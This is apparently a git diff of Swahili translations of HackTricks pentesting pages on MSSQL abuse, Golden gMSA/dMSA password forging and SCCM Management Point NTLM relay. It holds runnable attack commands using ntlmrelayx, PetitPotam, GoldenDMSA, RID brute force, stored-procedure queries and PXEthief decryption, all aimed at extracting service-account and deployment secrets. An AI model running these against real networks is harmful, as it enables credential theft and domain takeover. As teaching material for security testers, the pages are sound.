Kutoka **Linux** unaweza kupata shell ya MSSQL console kwa kutumia **sqsh** na **mssqlclient.py.**
|
||||
|
||||
Kutoka **Windows** unaweza pia kupata viungo na kutekeleza amri kwa mikono ukitumia **MSSQL client kama** [**HeidiSQL**](https://www.heidisql.com)
|
||||
Kutoka **Windows** pia unaweza kupata viungo na kutekeleza amri kwa mikono ukitumia **MSSQL client kama** [**HeidiSQL**](https://www.heidisql.com)
|
||||
|
||||
_Ingia kwa kutumia uthibitisho wa Windows:_
|
||||
|
||||
@ -285,7 +285,7 @@ Mkakati ambao waandishi wengi wamekuja nao ni kulazimisha huduma ya SYSTEM kuthi
|
||||
|
||||
|
||||
### SCCM Management Point NTLM Relay (OSD Secret Extraction)
|
||||
Tazama jinsi majukumu ya kawaida ya SQL ya SCCM **Management Points** yanavyoweza kutumika vibaya ili kutoa Akaunti ya Upataji wa Mtandao na siri za Mfululizo wa Kazi moja kwa moja kutoka kwenye hifadhidata ya tovuti:
|
||||
Tazama jinsi majukumu ya kawaida ya SQL ya SCCM **Management Points** yanavyoweza kutumika vibaya ili kutoa Akaunti ya Upataji wa Mtandao na siri za Mchakato wa Kazi moja kwa moja kutoka kwenye hifadhidata ya tovuti:
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
{{#endref}}
|
||||
|
||||
@ -4,20 +4,20 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Windows Managed Service Accounts (MSA) ni wakala maalum walioundwa kuendesha huduma bila haja ya kusimamia nywila zao kwa mikono.
|
||||
Kuna ladha mbili kuu:
|
||||
Windows Managed Service Accounts (MSA) ni wakala maalum walioandaliwa kuendesha huduma bila haja ya kusimamia nywila zao kwa mikono.
|
||||
Kuna aina mbili kuu:
|
||||
|
||||
1. **gMSA** – kundi la Akaunti ya Huduma ya Usimamizi – inaweza kutumika kwenye mwenyeji wengi ambao wameidhinishwa katika sifa yake ya `msDS-GroupMSAMembership`.
|
||||
2. **dMSA** – Akaunti ya Huduma ya Usimamizi iliyotolewa – mrithi (preview) wa gMSA, inategemea usimbuaji sawa lakini inaruhusu hali za ugawaji zenye granular zaidi.
|
||||
1. **gMSA** – kundi la Akaunti ya Huduma Iliyosimamiwa – inaweza kutumika kwenye mwenyeji wengi ambao wameidhinishwa katika sifa yake ya `msDS-GroupMSAMembership`.
|
||||
2. **dMSA** – Akaunti ya Huduma Iliyosimamiwa iliyowakilishwa – mrithi (preview) wa gMSA, inategemea usimbuaji sawa lakini inaruhusu hali za uwakilishi zenye granular zaidi.
|
||||
|
||||
Kwa toleo zote mbili **nywila haihifadhiwi** kwenye kila Kituo cha Kikoa (DC) kama hash ya kawaida ya NT. Badala yake kila DC inaweza **kuvuta** nywila ya sasa kwa wakati kutoka:
|
||||
Kwa aina zote mbili **nywila haihifadhiwi** kwenye kila Kituo cha Kikoa (DC) kama hash ya kawaida ya NT. Badala yake kila DC inaweza **kuvuta** nywila ya sasa kwa wakati kutoka:
|
||||
|
||||
* Funguo ya KDS Root Key ya msitu mzima (`KRBTGT\KDS`) – siri yenye jina la GUID iliyozalishwa kwa bahati nasibu, iliyorejelewa kwa kila DC chini ya kontena ya `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …`.
|
||||
* Akaunti ya lengo **SID**.
|
||||
* **ManagedPasswordID** (GUID) ya kila akaunti inayopatikana katika sifa ya `msDS-ManagedPasswordId`.
|
||||
|
||||
Uchimbaji ni: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → blob ya byte 240 hatimaye **imeandikwa kwa base64** na kuhifadhiwa katika sifa ya `msDS-ManagedPassword`.
|
||||
Hakuna trafiki ya Kerberos au mwingiliano wa kikoa unahitajika wakati wa matumizi ya kawaida ya nywila – mwenyeji anayeshiriki anavuta nywila kwa ndani mradi unajua ingizo tatu.
|
||||
Hakuna trafiki ya Kerberos au mwingiliano wa kikoa unahitajika wakati wa matumizi ya kawaida ya nywila – mwenyeji anayeshiriki anachota nywila kwa ndani mradi unajua ingizo tatu.
|
||||
|
||||
## Golden gMSA / Golden dMSA Attack
|
||||
|
||||
@ -31,7 +31,7 @@ Hii ni sawa na *Golden Ticket* kwa akaunti za huduma.
|
||||
### Prerequisites
|
||||
|
||||
1. **Kuvunjika kwa kiwango cha msitu** cha **DC moja** (au Msimamizi wa Biashara), au ufikiaji wa `SYSTEM` kwa moja ya DCs katika msitu.
|
||||
2. Uwezo wa kuhesabu akaunti za huduma (kusoma LDAP / RID brute-force).
|
||||
2. Uwezo wa kuorodhesha akaunti za huduma (kusoma LDAP / RID brute-force).
|
||||
3. .NET ≥ 4.7.2 x64 workstation ili kuendesha [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) au msimbo sawa.
|
||||
|
||||
### Golden gMSA / dMSA
|
||||
@ -53,11 +53,11 @@ GoldendMSA.exe kds
|
||||
# With GoldenGMSA
|
||||
GoldenGMSA.exe kdsinfo
|
||||
```
|
||||
Mfuatano wa base64 uliopewa jina `RootKey` (jina la GUID) unahitajika katika hatua za baadaye.
|
||||
The base64 string labelled `RootKey` (GUID name) is required in later steps.
|
||||
|
||||
##### Awamu ya 2 – Tambua vitu vya gMSA / dMSA
|
||||
##### Phase 2 – Enumerate gMSA / dMSA objects
|
||||
|
||||
Pata angalau `sAMAccountName`, `objectSid` na `msDS-ManagedPasswordId`:
|
||||
Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
@ -65,7 +65,7 @@ Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
|
||||
GoldenGMSA.exe gmsainfo
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) inatekeleza hali za msaada:
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) inatekeleza njia za msaada:
|
||||
```powershell
|
||||
# LDAP enumeration (kerberos / simple bind)
|
||||
GoldendMSA.exe info -d example.local -m ldap
|
||||
@ -73,9 +73,9 @@ GoldendMSA.exe info -d example.local -m ldap
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
##### Awamu ya 3 – Kadiria / Gundua ManagedPasswordID (wakati haipo)
|
||||
##### Awamu ya 3 – Kadiria / Gundua ManagedPasswordID (wakati inakosekana)
|
||||
|
||||
Baadhi ya matumizi *hutoa* `msDS-ManagedPasswordId` kutoka kwa usomaji uliohifadhiwa na ACL.
|
||||
Baadhi ya matumizi *hutoa* `msDS-ManagedPasswordId` kutoka kwa usomaji ulio na ulinzi wa ACL.
|
||||
Kwa sababu GUID ni 128-bit, brute force ya kijinga haiwezekani, lakini:
|
||||
|
||||
1. **Bits 32 za kwanza = wakati wa epoch wa Unix** wa uundaji wa akaunti (ufafanuzi wa dakika).
|
||||
@ -85,9 +85,9 @@ Hivyo, **orodha nyembamba ya maneno kwa kila akaunti** (± masaa machache) ni ha
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
Chombo kinahesabu nywila za wagombea na kulinganisha blob yao ya base64 dhidi ya sifa halisi ya `msDS-ManagedPassword` – mechi inaonyesha GUID sahihi.
|
||||
Chombo kinahesabu nywila za wagombea na kulinganisha blob yake ya base64 dhidi ya sifa halisi ya `msDS-ManagedPassword` – mechi inaonyesha GUID sahihi.
|
||||
|
||||
##### Awamu ya 4 – Hesabu ya Nywila ya Kazi na Ubadilishaji
|
||||
##### Awamu ya 4 – Hesabu ya Nywila ya Offline & Mabadiliko
|
||||
|
||||
Mara tu ManagedPasswordID inajulikana, nywila halali iko umbali wa amri moja:
|
||||
```powershell
|
||||
|
||||
@ -3,12 +3,12 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
Kwa kulazimisha **System Center Configuration Manager (SCCM) Management Point (MP)** kuthibitisha kupitia SMB/RPC na **kupeleka** akaunti ya mashine ya NTLM kwa **hifadhidata ya tovuti (MSSQL)** unapata haki za `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Hizi ni nafasi zinazokuruhusu kuita seti ya taratibu zilizohifadhiwa zinazofichua **Operating System Deployment (OSD)** blobs (akili za Akaunti ya Upataji wa Mtandao, mabadiliko ya Task-Sequence, nk.). Blobs zimeandikwa kwa hex/zimelindwa lakini zinaweza kufichuliwa na kufichuliwa kwa kutumia **PXEthief**, zikitoa siri za maandiko.
|
||||
Kwa kulazimisha **System Center Configuration Manager (SCCM) Management Point (MP)** kuthibitisha kupitia SMB/RPC na **kupeleka** akaunti ya mashine ya NTLM kwa **hifadhidata ya tovuti (MSSQL)** unapata haki za `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Hizi ni nafasi zinazokuruhusu kuita seti ya taratibu zilizohifadhiwa zinazofichua **Operating System Deployment (OSD)** blobs (akili za Akaunti ya Upataji wa Mtandao, mabadiliko ya Mchakato, nk.). Blobs zimeandikwa kwa hex/encrypted lakini zinaweza kufichuliwa na kufichuliwa kwa **PXEthief**, zikitoa siri za maandiko.
|
||||
|
||||
Mnyororo wa kiwango cha juu:
|
||||
1. Gundua MP & hifadhidata ya tovuti ↦ mwisho wa HTTP usio na uthibitisho `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||
2. Anza `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
|
||||
3. Lazimisha MP kwa kutumia **PetitPotam**, PrinterBug, DFSCoerce, nk.
|
||||
3. Lazimisha MP ukitumia **PetitPotam**, PrinterBug, DFSCoerce, nk.
|
||||
4. Kupitia proxy ya SOCKS ungana na `mssqlclient.py -windows-auth` kama akaunti ya **<DOMAIN>\\<MP-host>$** iliyopelekwa.
|
||||
5. Tekeleza:
|
||||
* `use CM_<SiteCode>`
|
||||
@ -25,11 +25,11 @@ Kiendelezi cha MP ISAPI **GetAuth.dll** kinatoa vigezo kadhaa ambavyo havihitaji
|
||||
|
||||
| Parameter | Purpose |
|
||||
|-----------|---------|
|
||||
| `MPKEYINFORMATIONMEDIA` | Inarudisha funguo ya umma ya cheti cha kusaini tovuti + GUIDs za vifaa vya *x86* / *x64* **All Unknown Computers**. |
|
||||
| `MPKEYINFORMATIONMEDIA` | Inarudisha funguo ya umma ya cheti cha kusaini tovuti + GUIDs za vifaa vyote vya *x86* / *x64* **All Unknown Computers**. |
|
||||
| `MPLIST` | Inataja kila Management-Point katika tovuti. |
|
||||
| `SITESIGNCERT` | Inarudisha cheti cha kusaini cha Tovuti Kuu (tambua seva ya tovuti bila LDAP). |
|
||||
|
||||
Chukua GUIDs ambazo zitakuwa kama **clientID** kwa maswali ya DB baadaye:
|
||||
Pata GUIDs ambazo zitakuwa kama **clientID** kwa maswali ya DB baadaye:
|
||||
```bash
|
||||
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
|
||||
```
|
||||
@ -56,7 +56,7 @@ Unganisha kupitia proxy ya SOCKS (port 1080 kwa chaguo-msingi):
|
||||
```bash
|
||||
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
||||
```
|
||||
Switch to the **CM_<SiteCode>** DB (tumia msimbo wa tovuti wa tarakimu 3, mfano `CM_001`).
|
||||
Switch to the **CM_<SiteCode>** DB (tumia msimbo wa tovuti wa tarakimu 3, e.g. `CM_001`).
|
||||
|
||||
### 3.1 Tafuta GUIDs za Kompyuta zisizojulikana (hiari)
|
||||
```sql
|
||||
@ -77,15 +77,15 @@ Zingatia sera:
|
||||
* **CollectionSettings** – Inaweza kuwa na akaunti za run-as
|
||||
|
||||
### 3.3 Pata mwili kamili
|
||||
Ikiwa tayari una `PolicyID` & `PolicyVersion` unaweza kupuuzilia mbali hitaji la clientID kwa kutumia:
|
||||
Ikiwa tayari una `PolicyID` & `PolicyVersion` unaweza kupuuza hitaji la clientID kwa kutumia:
|
||||
```sql
|
||||
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||
```
|
||||
> MUHIMU: Katika SSMS ongeza "Makarakteri Max yaliyopatikana" (>65535) au blob itakatwa.
|
||||
> MUHIMU: Katika SSMS ongeza "Idadi ya Wahusika Waliorejeshwa" (>65535) au blob itakatwa.
|
||||
|
||||
---
|
||||
|
||||
## 4. Fanya dekodi na ufichue blob
|
||||
## 4. Fanya ufafanuzi na ufichuaji wa blob
|
||||
```bash
|
||||
# Remove the UTF-16 BOM, convert from hex → XML
|
||||
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
|
||||
@ -115,7 +115,7 @@ Majukumu haya yanaonyesha idadi kubwa ya ruhusa za EXEC, zile muhimu zinazotumik
|
||||
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Rudisha mwili kamili wa sera. |
|
||||
| `MP_GetListOfMPsInSiteOSD` | Iliyorejeshwa na njia ya `MPKEYINFORMATIONMEDIA`. |
|
||||
|
||||
Unaweza kukagua orodha kamili na:
|
||||
Unaweza kuangalia orodha kamili na:
|
||||
```sql
|
||||
SELECT pr.name
|
||||
FROM sys.database_principals AS dp
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user